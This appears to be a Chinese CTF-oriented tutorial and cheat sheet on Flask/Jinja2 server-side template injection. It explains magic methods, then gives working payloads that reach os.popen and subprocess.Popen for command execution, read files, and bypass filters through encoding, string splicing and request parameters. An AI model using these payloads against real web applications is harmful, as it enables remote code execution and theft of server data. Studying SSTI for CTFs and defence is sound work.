Flask模板注入小结

简介

SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的。

基础知识

模板语法

1
2
3
{% %} # 控制结构
{{ }} # 变量表示符
{# #} # 注释

魔术方法

1
2
3
4
5
6
7
8
9
__class__        # 返回调用的参数类型
__base__         # 以字符串返回一个类所直接继承的第一个类,一般情况下是object
__bases__        # 以元组的形式返回基类
__mro__          # 返回解析方法调用的顺序
__subclasses__() # 返回子类列表
__globals__      # 以字典的形式返回函数所在的全局命名空间所定义的全局变量
__import__       # 导入模块
__builtins__     # 内建模块的引用,在任何地方都是可见的(包括全局),这个模块包括了很多强大的内置函数,如eval, exec, fopen等
__getitem__      # 提取元素

常规逃逸

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# <class 'subprocess.Popen'>
{{''.__class__.__base__.__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

# <class '_frozen_importlib._ModuleLock'>
{{''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}

# <class '_frozen_importlib.BuiltinImporter'>
{{().__class__.__base__.__subclasses__()[80]["load_module"]("os").system("ls")}}

# <class '_frozen_importlib_external.FileLoader'>
{{().__class__.__base__.__subclasses__()[91].get_data(0, "app.py")}}

# <class 'click.utils.LazyFile'>
## 命令执行
{{().__class__.__base__.__subclasses__().__getitem__(475).__init__.__globals__['os'].popen('ls').read()}}
## 读文件
{{().__class__.__base__.__subclasses__().__getitem__(475)('flag.txt').read()}}

# <class 'warnings.catch_warnings'>
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %}
{{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}}

内置函数

例题:安洵杯2020--Normal SSTI

介绍

flask提供了两个内置的全局函数:url_for、get_flashed_messages,两个都有__globals__键;

jinja2一共有3个内置的全局函数:range、lipsum、dict,其中只有lipsum有__globals__

条件

flask的内置函数只有flask的渲染方法render_template()和render_template_string()渲染时才可使用;

jinja2的内置函数无条件,flask和jinja2的渲染方法都可使用

payload

1
2
3
4
5
6
# flask
{{get_flashed_messages.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['os'].popen('whoami').read()}}
# jinja2
{{lipsum.__globals__['os'].popen('whoami').read()}}
# 另外两个内置函数和正常逃逸一个思路

内置类

Undefined

介绍

在渲染().__class__.__base__.__subclasses__().c.__init__初始化一个类时,此处由于不存在c类理论上应该报错停止执行,但是实际上并不会停止执行,这是由于Jinja2内置了Undefined类型,渲染结果显示为<class 'jinja2.runtime.Undefined'>,所以看起来并不存在的c类实际上触发了内置的Undefined类型。

payload

1
2
a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()
a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

bytes

例题:xctf_huaweicloud-qualifier-2020/web/mine2

介绍

python3新增了bytes类,用于代表字符串,其fromhex()方法可以将十六进制转换为字符串。

payload

1
2
# ""[__class__]
""["".encode().fromhex("5f5f636c6173735f5f").decode()]

bypass

字符串过滤

1
2
3
4
5
# 字符串拼接
""["__cl"+"ass__"]
""["__cl""ass__"]
# 字符串倒序
""["__ssalc__"[::-1]]

符号过滤

1
2
3
4
5
6
7
8
# 绕过.
""['__class__']
''|attr('__class__')
# 绕过[]
__subclasses__().pop(40) == __subclasses__()[40]
__subclasses__().__getitem__(40) == __subclasses__()[40]
# 绕过\{\{
{%print()%}

编码绕过

进制转换地址

Unicode转换地址

1
2
3
4
5
6
7
# 以下皆为 ""["__class__"] 等效形式
# 八进制
""["\137\137\143\154\141\163\163\137\137"]
# 十六进制
""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# Unicode
""["\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"]

request方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# 参数传递(GET|POST都可)
""[request.values.x1]
# GET方法传参
{{""[request.args.x1]}}&x1=__class__
# POST方法传参
""[request.form.x1]
	POST: x1=__class__
# headers头
""[request.headers.x1]
	x1: __class__
# User-Agent
""[request.user_agent.string]
	User-Agent: __class__
# Cookie
""[request.cookies.x1]
	Cookie: x1=__class__

原理有限,姿势无限,希望看到更多带佬的骚姿势(*^_^*)

参考

浅析SSTI(python沙盒绕过)

Jinja2过滤器

关于Flask SSTI,解锁你不知道的新姿势https://mp.weixin.qq.com/s/Uvr3NlKrzZoWyJvwFUFlEA)